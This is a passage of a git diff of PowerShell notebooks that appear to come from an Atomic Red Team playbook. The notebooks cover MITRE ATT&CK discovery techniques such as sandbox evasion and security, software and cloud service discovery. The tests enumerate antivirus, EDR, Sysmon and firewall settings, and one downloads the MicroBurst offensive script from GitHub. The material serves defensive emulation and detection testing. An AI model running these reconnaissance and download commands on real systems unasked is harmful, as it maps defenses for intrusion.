"b6493070", + "id": "90c6b3db", "metadata": {}, "source": [ - "### Atomic Test #3 - Detect Virtualization Environment (MacOS)", + "### Atomic Test #4 - Detect Virtualization Environment (MacOS)", "ioreg contains registry entries for all the device drivers in the system. If it's a virtual machine, one of the device manufacturer will be a Virtualization Software.\n", "**Supported Platforms:** macos", "\nElevation Required (e.g. root or admin)", @@ -84,17 +105,17 @@ { "cell_type": "code", "execution_count": null, - "id": "de22a5b0", + "id": "fa5512bd", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1497.001 -TestNumbers 3" + "source": "Invoke-AtomicTest T1497.001 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "dc59bf4a", + "id": "44f3986f", "metadata": {}, "source": [ - "### Atomic Test #4 - Detect Virtualization Environment via WMI Manufacturer/Model Listing (Windows)", + "### Atomic Test #5 - Detect Virtualization Environment via WMI Manufacturer/Model Listing (Windows)", "Windows Management Instrumentation(WMI) objects contain system information which helps to detect virtualization. This test will get the model and manufacturer of the machine to determine if it is a virtual machine, such as through VMware or VirtualBox. \n", "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", @@ -105,14 +126,14 @@ { "cell_type": "code", "execution_count": null, - "id": "b15d8486", + "id": "af3eaf35", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1497.001 -TestNumbers 4" + "source": "Invoke-AtomicTest T1497.001 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "c90575a8", + "id": "af134577", "metadata": {}, "source": "## Detection\nVirtualization/sandbox related system checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection." } @@ -120,13 +141,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/discovery/T1497.002.ipynb b/playbook/tactics/discovery/T1497.002.ipynb index ba34c8f2..42c48a5e 100644 --- a/playbook/tactics/discovery/T1497.002.ipynb +++ b/playbook/tactics/discovery/T1497.002.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "6d7a380f", + "id": "29e3cfc5", "metadata": {}, "source": "# T1497.002 - User Activity Based Checks\nAdversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nAdversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks (Citation: Sans Virtual Jan 2016) , browser history, cache, bookmarks, or number of files in common directories such as home or the desktop. Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) or waiting for a user to double click on an embedded image to activate.(Citation: FireEye FIN7 April 2017) " }, { "cell_type": "markdown", - "id": "18f42a44", + "id": "c7e0bc8a", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "f1cf7686", + "id": "c0ef65ef", "metadata": {}, "source": "## Detection\nUser activity-based checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection. " } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/discovery/T1497.003.ipynb b/playbook/tactics/discovery/T1497.003.ipynb index 46d9f821..712b2113 100644 --- a/playbook/tactics/discovery/T1497.003.ipynb +++ b/playbook/tactics/discovery/T1497.003.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "084840ab", + "id": "53e2f66b", "metadata": {}, "source": "# T1497.003 - Time Based Evasion\nAdversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time.\n\nAdversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)). Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled [Multi-Stage Channels](https://attack.mitre.org/techniques/T1104) to avoid analysis and scrutiny.(Citation: Deloitte Environment Awareness)\n\nBenign commands or other operations may also be used to delay malware execution. Loops or otherwise needless repetitions of commands, such as [Ping](https://attack.mitre.org/software/S0097)s, may be used to delay malware execution and potentially exceed time thresholds of automated analysis environments.(Citation: Revil Independence Day)(Citation: Netskope Nitol) Another variation, commonly referred to as API hammering, involves making various calls to [Native API](https://attack.mitre.org/techniques/T1106) functions in order to delay execution (while also potentially overloading analysis environments with junk data).(Citation: Joe Sec Nymaim)(Citation: Joe Sec Trickbot)\n\nAdversaries may also use time as a metric to detect sandboxes and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. For example, an adversary may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment's timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks)" }, { "cell_type": "markdown", - "id": "ded75138", + "id": "f8346371", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "9ccda116", + "id": "e515ef01", "metadata": {}, "source": "## Detection\nTime-based evasion will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection. " } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/discovery/T1497.ipynb b/playbook/tactics/discovery/T1497.ipynb index 373ae00a..f066c33f 100644 --- a/playbook/tactics/discovery/T1497.ipynb +++ b/playbook/tactics/discovery/T1497.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "8c7405fc", + "id": "4f5c75f3", "metadata": {}, "source": "# T1497 - Virtualization/Sandbox Evasion\nAdversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nAdversaries may use several methods to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) such as checking for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) or other system artifacts associated with analysis or virtualization. Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment. Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandbox.(Citation: Unit 42 Pirpi July 2015)\n\n" }, { "cell_type": "markdown", - "id": "e6da1716", + "id": "bf3a5337", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "6e7f7db5", + "id": "88ff1cdc", "metadata": {}, "source": "## Detection\nVirtualization, sandbox, user activity, and related discovery techniques will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection." }, { "cell_type": "markdown", - "id": "b4d0a944", + "id": "714dc266", "metadata": {}, "source": "\n## Shield Active Defense\n### Decoy System \n Configure a computing system to serve as an attack target or experimental environment. \n\n A decoy system is a computing resource presented to the adversary in support of active defense. The underlying system can be real, virtual, or simulated, and can be presented as one of a variety of IT devices including user workstations, servers, networking systems, IOT (embedded devices), mobile systems like phones, etc.\n#### Opportunity\nThere is an opportunity to deploy virtual decoy systems and see if an adversary discovers or reacts to the virtualization.\n#### Use Case\nA defender can deploy a virtual decoy system to see if the adversary recognizes the virtualization and reacts.\n#### Procedures\nUse an isolated system to visit a suspected compromised website. Collect any associated scripting code or files dropped onto the system.\nSetup a server which appears to be something that is commonly expected within a network, such as web server.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/discovery/T1518.001.ipynb b/playbook/tactics/discovery/T1518.001.ipynb index e5264575..8d4883a1 100644 --- a/playbook/tactics/discovery/T1518.001.ipynb +++ b/playbook/tactics/discovery/T1518.001.ipynb @@ -2,59 +2,59 @@ "cells": [ { "cell_type": "markdown", - "id": "17fc3ec3", + "id": "ea2effaf", "metadata": {}, "source": "# T1518.001 - Security Software Discovery\nAdversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nExample commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), reg query with [Reg](https://attack.mitre.org/software/S0075), dir with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for. It is becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.\n\nAdversaries may also utilize cloud APIs to discover the configurations of firewall rules within an environment.(Citation: Expel IO Evil in AWS) For example, the permitted IP ranges, ports or user accounts for the inbound/outbound rules of security groups, virtual firewalls established within AWS for EC2 and/or VPC instances, can be revealed by the DescribeSecurityGroups action with various request parameters. (Citation: DescribeSecurityGroups - Amazon Elastic Compute Cloud)" }, { "cell_type": "markdown", - "id": "c2bc67c6", + "id": "2f101f14", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "fd3fa835", + "id": "5f9c1361", "metadata": {}, "source": [ "### Atomic Test #1 - Security Software Discovery", "Methods to identify Security Software on an endpoint\n\nwhen sucessfully executed, the test is going to display running processes, firewall configuration on network profiles\nand specific security software.\n", "**Supported Platforms:** windows", "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nnetsh.exe advfirewall show allprofiles\ntasklist.exe\ntasklist.exe | findstr /i virus\ntasklist.exe | findstr /i cb\ntasklist.exe | findstr /i defender\ntasklist.exe | findstr /i cylance\n```" + "```command_prompt\nnetsh.exe advfirewall show allprofiles \nnetsh.exe advfirewall firewall dump\nnetsh.exe advfirewall show currentprofile\nnetsh.exe advfirewall firewall show rule name=all\nnetsh.exe firewall show state\nnetsh.exe firewall show config\nsc query windefend\npowershell.exe /c \"Get-Process | Where-Object { $_.ProcessName -eq 'Sysmon' }\"\npowershell.exe /c \"Get-Service | where-object {$_.DisplayName -like '*sysm*'}\"\npowershell.exe /c \"Get-CimInstance Win32_Service -Filter 'Description = ''System Monitor service'''\"\ntasklist.exe\ntasklist.exe | findstr /i virus\ntasklist.exe | findstr /i cb\ntasklist.exe | findstr /i defender\ntasklist.exe | findstr /i cylance\ntasklist.exe | findstr /i mc\ntasklist.exe | findstr /i \"virus cb defender cylance mc\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "90a02ca8", + "id": "959d6b46", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1518.001 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "83f1320c", + "id": "ccf85dea", "metadata": {}, "source": [ "### Atomic Test #2 - Security Software Discovery - powershell", - "Methods to identify Security Software on an endpoint\n\nwhen sucessfully executed, powershell is going to processes related AV products if they are running.\n", + "Methods to identify Security Software on an endpoint\n\nwhen sucessfully executed, powershell is going to processes related AV products if they are running.\nNote that, depending on the privilege of current user, get-process | ?{$_.Description -like \"*\"} may not return the processes related to AV products of the check.\nFor instance, only with Administrator right, you can see the process description of McAffee processes. Hence, it is better to use get-process | ?{$_.ProcessName -like \"*\"},\nif you know the name of those processes.\n", "**Supported Platforms:** windows", "#### Attack Commands: Run with `powershell`\n", - "```powershell\nget-process | ?{$_.Description -like \"*virus*\"}\nget-process | ?{$_.Description -like \"*carbonblack*\"}\nget-process | ?{$_.Description -like \"*defender*\"}\nget-process | ?{$_.Description -like \"*cylance*\"}\n```" + "```powershell\nget-process | ?{$_.Description -like \"*virus*\"}\nget-process | ?{$_.Description -like \"*carbonblack*\"}\nget-process | ?{$_.Description -like \"*defender*\"}\nget-process | ?{$_.Description -like \"*cylance*\"}\nget-process | ?{$_.Description -like \"*mc*\"}\nget-process | ?{$_.ProcessName -like \"*mc*\"}\nget-process | Where-Object { $_.ProcessName -eq \"Sysmon\" }\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "31e37472", + "id": "3b37bc16", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1518.001 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "83049e2b", + "id": "af2feb76", "metadata": {}, "source": [ "### Atomic Test #3 - Security Software Discovery - ps (macOS)", @@ -67,14 +67,14 @@ { "cell_type": "code", "execution_count": null, - "id": "d8c1734c", + "id": "de4a09a7", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1518.001 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "ce02d0b6", + "id": "53fb32da", "metadata": {}, "source": [ "### Atomic Test #4 - Security Software Discovery - ps (Linux)", @@ -87,17 +87,37 @@ { "cell_type": "code", "execution_count": null, - "id": "44a43bdf", + "id": "e7d2209f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1518.001 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "6face8e4", + "id": "b625a769", "metadata": {}, "source": [ - "### Atomic Test #5 - Security Software Discovery - Sysmon Service", + "### Atomic Test #5 - Security Software Discovery - pgrep (FreeBSD)", + "Methods to identify Security Software on an endpoint\nwhen sucessfully executed, command shell is going to display AV/Security software it is running.\n", + "**Supported Platforms:** linux", + "#### Attack Commands: Run with `sh`\n", + "```sh\npgrep -l 'bareos-fd|icinga2|cbagentd|wazuh-agent|packetbeat|filebeat|osqueryd'\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "92cbfd21", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1518.001 -TestNumbers 5" + }, + { + "cell_type": "markdown", + "id": "a36e54f3", + "metadata": {}, + "source": [ + "### Atomic Test #6 - Security Software Discovery - Sysmon Service", "Discovery of an installed Sysinternals Sysmon service using driver altitude (even if the name is changed).\n\nwhen sucessfully executed, the test is going to display sysmon driver instance if it is installed.\n", "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", @@ -108,17 +128,17 @@ { "cell_type": "code", "execution_count": null, - "id": "64170543", + "id": "6850711e", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1518.001 -TestNumbers 5" + "source": "Invoke-AtomicTest T1518.001 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "e7c2ad74", + "id": "107346ca", "metadata": {}, "source": [ - "### Atomic Test #6 - Security Software Discovery - AV Discovery via WMI", + "### Atomic Test #7 - Security Software Discovery - AV Discovery via WMI", "Discovery of installed antivirus products via a WMI query.\n\nwhen sucessfully executed, the test is going to display installed AV software.\n", "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", @@ -129,14 +149,77 @@ { "cell_type": "code", "execution_count": null, - "id": "71824159", + "id": "5bcf1ed5", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1518.001 -TestNumbers 6" + "source": "Invoke-AtomicTest T1518.001 -TestNumbers 7" + }, + { + "cell_type": "markdown", + "id": "93baa7ba", + "metadata": {}, + "source": [ + "### Atomic Test #8 - Security Software Discovery - AV Discovery via Get-CimInstance and Get-WmiObject cmdlets", + "Discovery of installed antivirus products via Get-CimInstance and Get-WmiObject cmdlets of powershell.\n\nwhen sucessfully executed, information about installed AV software is displayed..\n", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `command_prompt`\n", + "```command_prompt\npowershell Get-CimInstance -Namespace root/securityCenter2 -classname antivirusproduct\npowershell Get-WmiObject -Namespace root\\securitycenter2 -Class antivirusproduct\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "e2abcd11", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1518.001 -TestNumbers 8" + }, + { + "cell_type": "markdown", + "id": "337e5512", + "metadata": {}, + "source": [ + "### Atomic Test #9 - Security Software Discovery - Windows Defender Enumeration", + "Windows Defender Enumeration via different built-in windows native tools.\nwhen sucessfully executed, information about windows defender is displayed.\n", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `powershell`\n", + "```powershell\nGet-Service WinDefend #check the service state of Windows Defender\nGet-MpComputerStatus #provides the current status of security solution elements, including Anti-Spyware, Antivirus, LoavProtection, Real-time protection, etc\nGet-MpThreat #threats details that have been detected using MS Defender\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "94425ec4", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1518.001 -TestNumbers 9" + }, + { + "cell_type": "markdown", + "id": "004b58ca", + "metadata": {}, + "source": [ + "### Atomic Test #10 - Security Software Discovery - Windows Firewall Enumeration", + "Enumerates windows firewall to retrieves firewall rules from the target computer.\n\nwhen sucessfully executed, details of windows firewall is displayed.\n", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `powershell`\n", + "```powershell\nGet-NetFirewallProfile | Format-Table Name, Enabled\nGet-NetFirewallSetting\nGet-NetFirewallRule | select DisplayName, Enabled, Description\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "4ced4025", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1518.001 -TestNumbers 10" }, { "cell_type": "markdown", - "id": "9e82c1b9", + "id": "73165e87", "metadata": {}, "source": "## Detection\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nIn cloud environments, additionally monitor logs for the usage of APIs that may be used to gather information about security software configurations within the environment." } @@ -144,13 +227,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/discovery/T1518.ipynb b/playbook/tactics/discovery/T1518.ipynb index 46311489..c4db1435 100644 --- a/playbook/tactics/discovery/T1518.ipynb +++ b/playbook/tactics/discovery/T1518.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "14e31a38", + "id": "4fc97af3", "metadata": {}, "source": "# T1518 - Software Discovery\nAdversaries may attempt to get a listing of software and software versions that are installed on a system or in a cloud environment. Adversaries may use the information from [Software Discovery](https://attack.mitre.org/techniques/T1518) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nAdversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable to [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068)." }, { "cell_type": "markdown", - "id": "4026ab33", + "id": "48f35659", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "7c04bae9", + "id": "b0b4c5eb", "metadata": {}, "source": [ "### Atomic Test #1 - Find and Display Internet Explorer Browser Version", @@ -27,14 +27,14 @@ { "cell_type": "code", "execution_count": null, - "id": "0c64c5c7", + "id": "e7d5f199", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1518 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "2b7b0105", + "id": "16abaf17", "metadata": {}, "source": [ "### Atomic Test #2 - Applications Installed", @@ -47,14 +47,14 @@ { "cell_type": "code", "execution_count": null, - "id": "2e518cc3", + "id": "71759fcb", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1518 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "1c4aa349", + "id": "cb7924f3", "metadata": {}, "source": [ "### Atomic Test #3 - Find and Display Safari Browser Version", @@ -68,14 +68,14 @@ { "cell_type": "code", "execution_count": null, - "id": "bb77c6d8", + "id": "5bad2a67", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1518 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "a559ad2b", + "id": "dd096940", "metadata": {}, "source": [ "### Atomic Test #4 - WinPwn - Dotnetsearch", @@ -88,14 +88,14 @@ { "cell_type": "code", "execution_count": null, - "id": "74cdc399", + "id": "cbf62228", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1518 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "3a60d8f3", + "id": "35a94072", "metadata": {}, "source": [ "### Atomic Test #5 - WinPwn - DotNet", @@ -108,14 +108,14 @@ { "cell_type": "code", "execution_count": null, - "id": "ab9428a7", + "id": "07dd6e64", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1518 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "20d99c6c", + "id": "5c9d9011", "metadata": {}, "source": [ "### Atomic Test #6 - WinPwn - powerSQL", @@ -128,20 +128,20 @@ { "cell_type": "code", "execution_count": null, - "id": "b0e76ff0", + "id": "156aa8fa", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1518 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "8158ccef", + "id": "841156ae", "metadata": {}, "source": "## Detection\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001)." }, { "cell_type": "markdown", - "id": "e99bec5b", + "id": "0c11a55b", "metadata": {}, "source": "\n## Shield Active Defense\n### Application Diversity \n Present the adversary with a variety of installed applications and services. \n\n Application diversity is presenting multiple software targets to the adversary. On a single target system, defenders can configure multiple different services or user software applications. On a target network, defenders can present systems with a variety of operating systems, operating system versions, applications, and services.\n#### Opportunity\nThere is an opportunity to provide a variety of applications to an adversary to see what things an adversary prefers or to influence their operations.\n#### Use Case\nA defender can install an array of various software packages on a system to make it look used and populated. This will give an adversary a collection of software to interact with and possibly expose additional techniques.\n#### Procedures\nUse a mix of vulnerable and nonvulnerable software on a system to allow you to see what exploits the adversary leverages in their attacks.\nInstall Anti-virus or other end-point detection tools on systems to see if an adversary takes note of them and if so, how they react.\n" } @@ -149,13 +149,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/discovery/T1526.ipynb b/playbook/tactics/discovery/T1526.ipynb index a3f67829..5f3b309e 100644 --- a/playbook/tactics/discovery/T1526.ipynb +++ b/playbook/tactics/discovery/T1526.ipynb @@ -2,70 +2,70 @@ "cells": [ { "cell_type": "markdown", - "id": "03a1d35e", + "id": "41e86328", "metadata": {}, - "source": "# T1526 - Cloud Service Discovery\nAn adversary may attempt to enumerate the cloud services running on a system after gaining access. These methods can differ from platform-as-a-service (PaaS), to infrastructure-as-a-service (IaaS), or software-as-a-service (SaaS). Many services exist throughout the various cloud providers and can include Continuous Integration and Continuous Delivery (CI/CD), Lambda Functions, Azure AD, etc. \n\nAdversaries may attempt to discover information about the services enabled throughout the environment. Azure tools and APIs, such as the Azure AD Graph API and Azure Resource Manager API, can enumerate resources and services, including applications, management groups, resources and policy definitions, and their relationships that are accessible by an identity.(Citation: Azure - Resource Manager API)(Citation: Azure AD Graph API)\n\nStormspotter is an open source tool for enumerating and constructing a graph for Azure resources and services, and Pacu is an open source AWS exploitation framework that supports several methods for discovering cloud services.(Citation: Azure - Stormspotter)(Citation: GitHub Pacu)" + "source": "# T1526 - Cloud Service Discovery\nAn adversary may attempt to enumerate the cloud services running on a system after gaining access. These methods can differ from platform-as-a-service (PaaS), to infrastructure-as-a-service (IaaS), or software-as-a-service (SaaS). Many services exist throughout the various cloud providers and can include Continuous Integration and Continuous Delivery (CI/CD), Lambda Functions, Azure AD, etc. They may also include security services, such as AWS GuardDuty and Microsoft Defender for Cloud, and logging services, such as AWS CloudTrail and Google Cloud Audit Logs.\n\nAdversaries may attempt to discover information about the services enabled throughout the environment. Azure tools and APIs, such as the Azure AD Graph API and Azure Resource Manager API, can enumerate resources and services, including applications, management groups, resources and policy definitions, and their relationships that are accessible by an identity.(Citation: Azure - Resource Manager API)(Citation: Azure AD Graph API)\n\nFor example, Stormspotter is an open source tool for enumerating and constructing a graph for Azure resources and services, and Pacu is an open source AWS exploitation framework that supports several methods for discovering cloud services.(Citation: Azure - Stormspotter)(Citation: GitHub Pacu)\n\nAdversaries may use the information gained to shape follow-on behaviors, such as targeting data or credentials from enumerated services or evading identified defenses through [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001) or [Disable or Modify Cloud Logs](https://attack.mitre.org/techniques/T1562/008)." }, { "cell_type": "markdown", - "id": "d97a955e", + "id": "b380da79", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "2ca7a612", + "id": "8edf9586", "metadata": {}, - "source": "### Atomic Test #1 - Azure - Dump Subscription Data with MicroBurst\nUpon successful execution, this test will enumerate all resources that are contained within a valid Azure subscription. \nThe resources enumerated will display on screen, as well as several csv files and folders will be output to a specified directory, listing what resources were discovered by the script. \nSee https://dev.to/cheahengsoon/enumerating-subscription-information-with-microburst-35a1\n\n**Supported Platforms:** iaas:azure\n#### Dependencies: Run with `powershell`!\n##### Description: The Get-AzDomainInfo script must exist in $env:temp.\n\n##### Check Prereq Commands:\n```powershell\nif (test-path $env:temp\\Get-AzDomainInfo.ps1){exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\ninvoke-webrequest \"https://raw.githubusercontent.com/NetSPI/MicroBurst/c771c665a2c71f9c5ba474869cd1c211ebee68fd/Az/Get-AzDomainInfo.ps1\" -outfile \"$env:temp\\Get-AzDomainInfo.ps1\"\n\n```\n##### Description: The Az module must be installed.\n\n##### Check Prereq Commands:\n```powershell\ntry {if (Get-InstalledModule -Name Az -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name Az -Force\n\n```" + "source": "### Atomic Test #1 - Azure - Dump Subscription Data with MicroBurst\nUpon successful execution, this test will enumerate all resources that are contained within a valid Azure subscription. \nThe resources enumerated will display on screen, as well as several csv files and folders will be output to a specified directory, listing what resources were discovered by the script. \nSee https://dev.to/cheahengsoon/enumerating-subscription-information-with-microburst-35a1\n\n**Supported Platforms:** iaas:azure\n#### Dependencies: Run with `powershell`!\n##### Description: The Get-AzDomainInfo script must exist in PathToAtomicsFolder\\..\\ExternalPayloads.\n\n##### Check Prereq Commands:\n```powershell\nif (test-path \"PathToAtomicsFolder\\..\\ExternalPayloads\\Get-AzDomainInfo.ps1\"){exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction 